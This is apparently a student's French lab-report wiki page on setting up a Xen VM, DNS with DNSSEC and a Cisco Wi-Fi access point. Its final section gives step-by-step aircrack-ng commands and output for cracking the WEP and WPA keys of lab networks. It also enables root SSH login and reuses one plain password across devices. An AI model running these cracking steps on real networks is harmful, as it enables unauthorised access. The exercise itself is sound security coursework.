TP sysres IMA2a5 2021/2022 G12 : Différence entre versions
(→Création machine virtuelle) |
|||
(15 révisions intermédiaires par le même utilisateur non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
+ | == Création machine virtuelle == | ||
− | + | ==== Installation d'une machine virtuelle sur Capbreton ==== | |
− | == | ||
Dans un premier temps, on dois créer une machine virtuelle sur le serveur distant. | Dans un premier temps, on dois créer une machine virtuelle sur le serveur distant. | ||
Ligne 12 : | Ligne 12 : | ||
La machine est alors créée sur capbreton. | La machine est alors créée sur capbreton. | ||
+ | |||
+ | ==== Configuration des disques ==== | ||
+ | |||
On passe à la configuration des disques, pour créer un RAID5 : | On passe à la configuration des disques, pour créer un RAID5 : | ||
Ligne 57 : | Ligne 60 : | ||
mke2fs /dev/virtual/Battlefield4 | mke2fs /dev/virtual/Battlefield4 | ||
+ | ==== Configuration réseau ==== | ||
+ | |||
+ | On modifie le fichier interface pour permettre à la machine virtuelle d'accéder à internet : | ||
+ | |||
+ | nano /etc/networks/interfaces | ||
+ | |||
+ | # The primary network interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet6 auto | ||
+ | iface eth0 inet static | ||
+ | address 10.60.100.172/24 | ||
+ | up ip address add dev eth0 193.48.57.172/32 ; ip route add default via 10.60.100.254 src 193.48.57.172 | ||
+ | down ip address del dev eth0 193.48.57.172/32 ; ip route del default via 10.60.100.254 src 193.48.57.172 | ||
+ | |||
+ | Pour actualiser la configuration réseau on fais les commandes suivantes : | ||
+ | |||
+ | ifdown eth0 | ||
+ | ifup eth0 | ||
+ | |||
+ | ==== Configuration ssh ==== | ||
+ | |||
+ | Pour accéder à la machine virtuelle par ssh, on modifie le fichier suivant : | ||
+ | |||
+ | nano /etc/ssh/sshd_config | ||
+ | |||
+ | PermitRootLogin yes | ||
+ | |||
+ | Relancer le service ssh : | ||
+ | |||
+ | service ssh restart | ||
+ | |||
+ | On accède désormais à la machine virtuelle par la commande : | ||
+ | ssh root@193.48.57.172 | ||
+ | |||
+ | ==== Configuration DNS ==== | ||
+ | |||
+ | J'achète le nom de domaine bffield.store sur gandi.net | ||
+ | |||
+ | Pour associer le nom de domaine à l'adresse IP dans gandi, dans l'onglet Glue Records --> Add | ||
+ | |||
+ | Dans l'onglet Nameserver, sélectionner change puis : | ||
+ | Nameserver1 : ns.bffield.store | ||
+ | Nameserver2 : ns.gandi6.net | ||
+ | |||
+ | On modifie la configuration DNS : | ||
+ | |||
+ | nano /etc/bind/named.conf.options | ||
+ | |||
+ | options { | ||
+ | directory "/var/cache/bind"; | ||
+ | #dnssec-validation auto; | ||
+ | listen-on-v6 { any; }; | ||
+ | allow-transfer { "allowed_to_transfer"; }; | ||
+ | }; | ||
+ | acl "allowed_to_transfer" { | ||
+ | 217.70.177.40/32; | ||
+ | }; | ||
+ | |||
+ | On modifie le fichier de configuration : | ||
+ | |||
+ | nano /etc/bind/db.bffield.store | ||
+ | |||
+ | $TTL 3600 | ||
+ | @ IN SOA ns.bffield.store postmaster.bffield.store ( | ||
+ | 1 ; Version | ||
+ | 1800 ; Refresh (30m) | ||
+ | 600 ; Retry (10m) | ||
+ | 3600 ; Expire (1h) | ||
+ | 3600 ) ; Minimum TTL (1h) | ||
+ | @ IN NS ns.bffield.store. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | ns IN A 193.48.57.172 | ||
+ | |||
+ | On modifie le fichier de configuration pour déclarer les zones associées au domaine : | ||
+ | |||
+ | nano /etc/bind/named.conf.local | ||
+ | |||
+ | zone "bffield.store" { | ||
+ | type master; | ||
+ | file "etc/bind/db.bffield.store"; | ||
+ | }; | ||
+ | |||
+ | ==== Sécurisation web ==== | ||
+ | |||
+ | Obtention d'un certificat via OpenSSL : | ||
+ | |||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout bffield.store.key -out bffield.store.csr | ||
+ | |||
+ | Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr. | ||
+ | |||
+ | |||
+ | ==== Sécurisation serveur DNS ==== | ||
+ | |||
+ | Dé-commenter la ligne suivante dans le fichier '''named.conf.options''' : | ||
+ | dnssec-enable yes | ||
+ | |||
+ | Créer un repertoire '''bffield.store.space.dnssec''' pour y génerer des clefs : | ||
+ | |||
+ | dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE bffield.store | ||
+ | |||
+ | dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE bffield.store | ||
+ | |||
+ | Renommer les clefs : | ||
+ | mv Kbffield.store.+005+26968.key bffield.store-ksk.key | ||
+ | mv Kbffield.store.+005+26968.private bffield.store-ksk.private | ||
+ | mv Kbffield.store.+005+27570.key bffield.store-zsk.key | ||
+ | mv Kbffield.store.+005+27570.private bffield.store-zsk.private | ||
+ | |||
+ | On modifie le fichier db.bffield.store : | ||
+ | $include /etc/bind/bffield.store.dnssec/bffield.store-ksk.key | ||
+ | $include /etc/bind/bffield.store.dnssec/bffield.store-zsk.key | ||
+ | |||
+ | Signer les enregistrements à partir du répertoire '''bffield.store.space.dnssec''' | ||
+ | dnssec-signzone -o bffield.store -k bffield.store-ksk ../db.bffield.store bffield.store-zsk | ||
+ | |||
+ | Modifier le fichier '''named.conf.local''' pour utiliser '''db.bffield.store.signed''' | ||
+ | zone "bffield.store" { | ||
+ | type master; | ||
+ | file "etc/bind/db.bffield.store.signed"; | ||
+ | }; | ||
+ | |||
+ | ==== Installation Apache ==== | ||
+ | |||
+ | Installer apache : | ||
+ | apt-get install apache2 | ||
+ | |||
+ | == Configuration du point d'accès wifi == | ||
+ | |||
+ | '''Réinitialisation des paramètres de la borne wifi :''' | ||
+ | |||
+ | erase startup config | ||
+ | reload | ||
+ | |||
+ | '''Configuration de base :''' | ||
+ | |||
+ | ap>enable | ||
+ | ap#configure terminal | ||
+ | |||
+ | '''Configuration du nom d'hôte :''' | ||
+ | |||
+ | ap(config)#hostname SE2A5-AP1 | ||
+ | |||
+ | '''Accès ssh :''' | ||
+ | |||
+ | SE2A5-AP1(config)#aaa new-model | ||
+ | SE2A5-AP1(config)#username admin privilege 15 secret glopglop | ||
+ | SE2A5-AP1(config)#ip domain-name plil.info | ||
+ | SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048 | ||
+ | SE2A5-AP1(config)#ip ssh version 2 | ||
+ | SE2A5-AP1(config)#line vty 0 15 | ||
+ | SE2A5-AP1(config-line)#transport input ssh | ||
+ | SE2A5-AP1(config-line)#exit | ||
+ | |||
+ | '''Sécurisation des accès :''' | ||
+ | |||
+ | SE2A5-AP1(config)#service password-encryption | ||
+ | SE2A5-AP1(config)#enable secret glopglop | ||
+ | SE2A5-AP1(config)#banner motd #Restricted Access# | ||
+ | |||
+ | '''VLAN 172''' | ||
+ | |||
+ | aaa authentication login EAP_TOAD group RADIUS_BATTLEFIELD | ||
+ | radius-server host 193.48.57.172 auth-port 1812 acct-port 1813 key glopglop | ||
+ | aaa group server radius RADIUS_BATTLEFIELD | ||
+ | server 193.48.57.172 auth-port 1812 acct-port 1813 | ||
+ | exit | ||
+ | dot11 ssid BATTLEFIELD1 | ||
+ | mbssid guest-mode | ||
+ | vlan 172 | ||
+ | authentication open eap EAP_BATTLEFIELD | ||
+ | authentication network-eap EAP_BATTLEFIELD | ||
+ | authentication key-management wpa | ||
+ | exit | ||
+ | interface dot11radio0.172 | ||
+ | encapsulation dot1q 172 | ||
+ | bridge-group 72 | ||
+ | exit | ||
+ | interface g0.172 | ||
+ | encapsulation dot1q 172 | ||
+ | bridge-group 72 | ||
+ | exit | ||
+ | interface dot11radio 0 | ||
+ | no shutdown | ||
+ | encryption vlan 172 mode ciphers aes-ccm tkip | ||
+ | mbssid | ||
+ | ssid BATTLEFIELD1 | ||
+ | exit | ||
+ | |||
+ | On procède de la même manière pour créer le deuxième point d'accès Wifi BATTLEFIELD2 | ||
+ | |||
+ | == Craquage de clés == | ||
+ | |||
+ | ====Craquage clé WEP==== | ||
+ | |||
+ | Pour cette partie, nous allons casser la clé WEP du réseau "Cracotte 01". | ||
+ | |||
+ | Tout d'abord, on installe l'utilitaire aircrack-ng | ||
+ | |||
+ | su - | ||
+ | apt install aircrack-ng | ||
+ | |||
+ | On prend une clé USB Wifi et on vérifie qu'elle est reconnue par l'ordinateur : | ||
+ | |||
+ | lsusb | ||
+ | |||
+ | Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter | ||
+ | Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub | ||
+ | Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub | ||
+ | Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub | ||
+ | Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub | ||
+ | Bus 001 Device 010: ID 413c:2005 Dell Computer Corp. RT7D50 Keyboard | ||
+ | Bus 001 Device 007: ID 413c:301a Dell Computer Corp. | ||
+ | Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub | ||
+ | Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub | ||
+ | |||
+ | La clé wifi est bien reconnue par le PC : Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter | ||
+ | |||
+ | On récupère le nom de l'interface de la clé Wifi : | ||
+ | |||
+ | airmon-ng | ||
+ | |||
+ | |||
+ | On renomme l'interface en wlan0mon, nous allons utiliser la commande suivante pour passer la carte Wifi en monitor : | ||
+ | |||
+ | airmon-ng start wlx40a5ef059e47 | ||
+ | |||
+ | On va ensuite faire cette commande afin d'écouter les trames Wifi de la clé USB: | ||
+ | |||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | On obtient alors les informations suivantes : | ||
+ | |||
+ | BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID | ||
+ | 04:DA:D2:9C:50:50 -40 2 3 4 3 54e WEP WEP cracotte01 | ||
+ | |||
+ | On récupère dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte01 : | ||
+ | |||
+ | airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon | ||
+ | |||
+ | On attends qu'il y ai au moins 30 000 trames récupérées puis on lance le crackage de la clé : | ||
+ | |||
+ | aircrack-ng lcrack-01.cap | ||
+ | |||
+ | Après 5-10min, on obtient le code de la clé Wifi : | ||
− | |||
Aircrack-ng 1.5.2 | Aircrack-ng 1.5.2 | ||
Ligne 73 : | Ligne 319 : | ||
KEY FOUND! [ 12:34:56:78:9A:BC:02:CB:A9:87:65:43:21 ] | KEY FOUND! [ 12:34:56:78:9A:BC:02:CB:A9:87:65:43:21 ] | ||
Decrypted correctly: 100% | Decrypted correctly: 100% | ||
+ | |||
+ | ====Craquage clé WPA==== | ||
+ | |||
+ | On vérifie que notre utilitaire aircrack est bien installé, sinon on refait la commande : | ||
+ | |||
+ | apt-get install aircrack-ng | ||
+ | |||
+ | Listing de toutes les interfaces Wi-Fi | ||
+ | |||
+ | airmon-ng | ||
+ | |||
+ | On obtient la liste ci-dessous : | ||
+ | |||
+ | PHY Interface Driver Chipset | ||
+ | phy0 wlx40a5ef059e47 rt2800usb Ralink Technology, Corp. RT5370 | ||
+ | |||
+ | On passe la carte Wifi en mode monitor : | ||
+ | |||
+ | airmon-ng start wlx40a5ef059e47 | ||
+ | |||
+ | On observe les trames de réseaux avec la commande : | ||
+ | |||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | On récupère le BSSID de krakotte01 et le channel : 44:AD:D9:5F:87:00 sur le channel 8 | ||
+ | On enregistre alors les trames qui passent sur krakotte01 dans un fichier krakotte.txt : | ||
+ | |||
+ | airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon | ||
+ | |||
+ | On attend environ 1/4 d'heure pour récupérer suffisamment de trames. | ||
+ | |||
+ | Exécution de Aircrack : | ||
+ | |||
+ | On créé alors un dictionnare contenant l'ensemble des mots de passes potentiels. | ||
+ | On sait que la clé WPA est composée de 8 chiffres aléatoires, donc le dictionnaire contient 100 000 000 possibilités et est créé grâce à la commande suivante : | ||
+ | |||
+ | crunch 8 8 0123456789 >> dico.txt | ||
+ | |||
+ | Pour accélerer le processus de crackage, on divise le dictionnaire en 5 fichiers : | ||
+ | |||
+ | split -b 200m dico.txt | ||
+ | |||
+ | On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés | ||
+ | |||
+ | ls | ||
+ | >> xaa | ||
+ | >> xab | ||
+ | >> xac | ||
+ | >> xad | ||
+ | >> xae | ||
+ | |||
+ | Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe. | ||
+ | |||
+ | Cassage de la clef WPA : | ||
+ | |||
+ | aircrack-ng -w xaa krakotte01.cap | ||
+ | |||
+ | aircrack-ng -w xab krakotte01.cap | ||
+ | |||
+ | aircrack-ng -w xac krakotte01.cap | ||
+ | |||
+ | aircrack-ng -w xad krakotte01.cap | ||
+ | |||
+ | aircrack-ng -w xae krakotte01.cap | ||
+ | |||
+ | Résultat : | ||
+ | Aircrack-ng 1.5.2 | ||
+ | |||
+ | [08:04:01] 66637843/102795810 keys tested (958.44 k/s) | ||
+ | |||
+ | Time left: 10 hours, 29 minutes, 3 seconds 64.83% | ||
+ | |||
+ | KEY FOUND! [ 66601666 ] | ||
+ | |||
+ | Master Key : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45 | ||
+ | 18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5 | ||
+ | |||
+ | Transient Key : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20 | ||
+ | 59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70 | ||
+ | B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41 | ||
+ | 18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5 | ||
+ | |||
+ | EAPOL HMAC : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10 |
Version actuelle datée du 2 décembre 2021 à 23:11
Création machine virtuelle
Installation d'une machine virtuelle sur Capbreton
Dans un premier temps, on dois créer une machine virtuelle sur le serveur distant. On s'y connecte donc en tant que superuser :
ssh -4 root@capbreton.plil.info
On créer alors la machine grâce à la commande qui suit :
xen-create-image --force --hostname=Battlefield --ip=193.48.57.172 --gateway=193.48.57.174 --dir=/usr/local/xen --dist=buster
La machine est alors créée sur capbreton.
Configuration des disques
On passe à la configuration des disques, pour créer un RAID5 :
lvcreate -L1G -n Battlefield1 virtual lvcreate -L1G -n Battlefield2 virtual lvcreate -L1G -n Battlefield3 virtual lvcreate -L1G -n Battlefield4 virtual
On augmente ensuite la taille des 4 disques :
lvextend -L +9G /dev/virtual/Battlefield1 lvextend -L +9G /dev/virtual/Battlefield2 lvextend -L +9G /dev/virtual/Battlefield3 lvextend -L +9G /dev/virtual/Battlefield4
On vérifie que les disques sont bien installés :
lvdisplay
Détail d'un disque installé :
--- Logical volume --- LV Path /dev/virtual/Battlefield1 LV Name Battlefield1 VG Name virtual LV UUID gvf9pC-5DAB-1YGt-fYJ1-ecrM-nZG2-ZFCf41 LV Write Access read/write LV Creation host, time capbreton, 2021-09-24 08:40:48 +0200 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:57
Puis on formate les disques :
mke2fs /dev/virtual/Battlefield1 mke2fs /dev/virtual/Battlefield2 mke2fs /dev/virtual/Battlefield3 mke2fs /dev/virtual/Battlefield4
Configuration réseau
On modifie le fichier interface pour permettre à la machine virtuelle d'accéder à internet :
nano /etc/networks/interfaces
# The primary network interface auto eth0 iface eth0 inet6 auto iface eth0 inet static address 10.60.100.172/24 up ip address add dev eth0 193.48.57.172/32 ; ip route add default via 10.60.100.254 src 193.48.57.172 down ip address del dev eth0 193.48.57.172/32 ; ip route del default via 10.60.100.254 src 193.48.57.172
Pour actualiser la configuration réseau on fais les commandes suivantes :
ifdown eth0 ifup eth0
Configuration ssh
Pour accéder à la machine virtuelle par ssh, on modifie le fichier suivant :
nano /etc/ssh/sshd_config
PermitRootLogin yes
Relancer le service ssh :
service ssh restart
On accède désormais à la machine virtuelle par la commande :
ssh root@193.48.57.172
Configuration DNS
J'achète le nom de domaine bffield.store sur gandi.net
Pour associer le nom de domaine à l'adresse IP dans gandi, dans l'onglet Glue Records --> Add
Dans l'onglet Nameserver, sélectionner change puis : Nameserver1 : ns.bffield.store Nameserver2 : ns.gandi6.net
On modifie la configuration DNS :
nano /etc/bind/named.conf.options
options { directory "/var/cache/bind"; #dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
On modifie le fichier de configuration :
nano /etc/bind/db.bffield.store
$TTL 3600 @ IN SOA ns.bffield.store postmaster.bffield.store ( 1 ; Version 1800 ; Refresh (30m) 600 ; Retry (10m) 3600 ; Expire (1h) 3600 ) ; Minimum TTL (1h) @ IN NS ns.bffield.store. @ IN NS ns6.gandi.net. ns IN A 193.48.57.172
On modifie le fichier de configuration pour déclarer les zones associées au domaine :
nano /etc/bind/named.conf.local
zone "bffield.store" { type master; file "etc/bind/db.bffield.store"; };
Sécurisation web
Obtention d'un certificat via OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout bffield.store.key -out bffield.store.csr
Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr.
Sécurisation serveur DNS
Dé-commenter la ligne suivante dans le fichier named.conf.options :
dnssec-enable yes
Créer un repertoire bffield.store.space.dnssec pour y génerer des clefs :
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE bffield.store
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE bffield.store
Renommer les clefs :
mv Kbffield.store.+005+26968.key bffield.store-ksk.key mv Kbffield.store.+005+26968.private bffield.store-ksk.private mv Kbffield.store.+005+27570.key bffield.store-zsk.key mv Kbffield.store.+005+27570.private bffield.store-zsk.private
On modifie le fichier db.bffield.store :
$include /etc/bind/bffield.store.dnssec/bffield.store-ksk.key $include /etc/bind/bffield.store.dnssec/bffield.store-zsk.key
Signer les enregistrements à partir du répertoire bffield.store.space.dnssec
dnssec-signzone -o bffield.store -k bffield.store-ksk ../db.bffield.store bffield.store-zsk
Modifier le fichier named.conf.local pour utiliser db.bffield.store.signed
zone "bffield.store" { type master; file "etc/bind/db.bffield.store.signed"; };
Installation Apache
Installer apache :
apt-get install apache2
Configuration du point d'accès wifi
Réinitialisation des paramètres de la borne wifi :
erase startup config reload
Configuration de base :
ap>enable ap#configure terminal
Configuration du nom d'hôte :
ap(config)#hostname SE2A5-AP1
Accès ssh :
SE2A5-AP1(config)#aaa new-model SE2A5-AP1(config)#username admin privilege 15 secret glopglop SE2A5-AP1(config)#ip domain-name plil.info SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048 SE2A5-AP1(config)#ip ssh version 2 SE2A5-AP1(config)#line vty 0 15 SE2A5-AP1(config-line)#transport input ssh SE2A5-AP1(config-line)#exit
Sécurisation des accès :
SE2A5-AP1(config)#service password-encryption SE2A5-AP1(config)#enable secret glopglop SE2A5-AP1(config)#banner motd #Restricted Access#
VLAN 172
aaa authentication login EAP_TOAD group RADIUS_BATTLEFIELD radius-server host 193.48.57.172 auth-port 1812 acct-port 1813 key glopglop aaa group server radius RADIUS_BATTLEFIELD server 193.48.57.172 auth-port 1812 acct-port 1813 exit dot11 ssid BATTLEFIELD1 mbssid guest-mode vlan 172 authentication open eap EAP_BATTLEFIELD authentication network-eap EAP_BATTLEFIELD authentication key-management wpa exit interface dot11radio0.172 encapsulation dot1q 172 bridge-group 72 exit interface g0.172 encapsulation dot1q 172 bridge-group 72 exit interface dot11radio 0 no shutdown encryption vlan 172 mode ciphers aes-ccm tkip mbssid ssid BATTLEFIELD1 exit
On procède de la même manière pour créer le deuxième point d'accès Wifi BATTLEFIELD2
Craquage de clés
Craquage clé WEP
Pour cette partie, nous allons casser la clé WEP du réseau "Cracotte 01".
Tout d'abord, on installe l'utilitaire aircrack-ng
su - apt install aircrack-ng
On prend une clé USB Wifi et on vérifie qu'elle est reconnue par l'ordinateur :
lsusb
Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 010: ID 413c:2005 Dell Computer Corp. RT7D50 Keyboard Bus 001 Device 007: ID 413c:301a Dell Computer Corp. Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
La clé wifi est bien reconnue par le PC : Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
On récupère le nom de l'interface de la clé Wifi :
airmon-ng
On renomme l'interface en wlan0mon, nous allons utiliser la commande suivante pour passer la carte Wifi en monitor :
airmon-ng start wlx40a5ef059e47
On va ensuite faire cette commande afin d'écouter les trames Wifi de la clé USB:
airodump-ng wlan0mon
On obtient alors les informations suivantes :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:50 -40 2 3 4 3 54e WEP WEP cracotte01
On récupère dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte01 :
airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon
On attends qu'il y ai au moins 30 000 trames récupérées puis on lance le crackage de la clé :
aircrack-ng lcrack-01.cap
Après 5-10min, on obtient le code de la clé Wifi :
Aircrack-ng 1.5.2 [00:00:00] Tested 721 keys (got 665952 IVs) KB depth byte(vote) 0 1/ 2 27(703488) 1D(696832) 92(694528) EB(692224) A6(689408) 9D(688896) 1 2/ 1 D0(698112) 65(697344) A7(696320) 0D(695296) 21(693504) 3A(692224) 2 1/ 3 9B(701440) FC(697344) 2E(695808) 6D(692224) 57(689152) CF(688640) 3 1/ 5 BB(703232) 30(700416) A6(699392) AB(699136) C2(696064) 36(695296) 4 13/ 4 35(687104) D6(686592) 76(686080) 23(685824) 48(685824) 63(685568) KEY FOUND! [ 12:34:56:78:9A:BC:02:CB:A9:87:65:43:21 ]
Decrypted correctly: 100%
Craquage clé WPA
On vérifie que notre utilitaire aircrack est bien installé, sinon on refait la commande :
apt-get install aircrack-ng
Listing de toutes les interfaces Wi-Fi
airmon-ng
On obtient la liste ci-dessous :
PHY Interface Driver Chipset phy0 wlx40a5ef059e47 rt2800usb Ralink Technology, Corp. RT5370
On passe la carte Wifi en mode monitor :
airmon-ng start wlx40a5ef059e47
On observe les trames de réseaux avec la commande :
airodump-ng wlan0mon
On récupère le BSSID de krakotte01 et le channel : 44:AD:D9:5F:87:00 sur le channel 8 On enregistre alors les trames qui passent sur krakotte01 dans un fichier krakotte.txt :
airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon
On attend environ 1/4 d'heure pour récupérer suffisamment de trames.
Exécution de Aircrack :
On créé alors un dictionnare contenant l'ensemble des mots de passes potentiels. On sait que la clé WPA est composée de 8 chiffres aléatoires, donc le dictionnaire contient 100 000 000 possibilités et est créé grâce à la commande suivante :
crunch 8 8 0123456789 >> dico.txt
Pour accélerer le processus de crackage, on divise le dictionnaire en 5 fichiers :
split -b 200m dico.txt
On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés
ls >> xaa >> xab >> xac >> xad >> xae
Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.
Cassage de la clef WPA :
aircrack-ng -w xaa krakotte01.cap
aircrack-ng -w xab krakotte01.cap
aircrack-ng -w xac krakotte01.cap
aircrack-ng -w xad krakotte01.cap
aircrack-ng -w xae krakotte01.cap
Résultat :
Aircrack-ng 1.5.2 [08:04:01] 66637843/102795810 keys tested (958.44 k/s) Time left: 10 hours, 29 minutes, 3 seconds 64.83% KEY FOUND! [ 66601666 ] Master Key : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45 18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5 Transient Key : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20 59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70 B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41 18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5 EAPOL HMAC : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10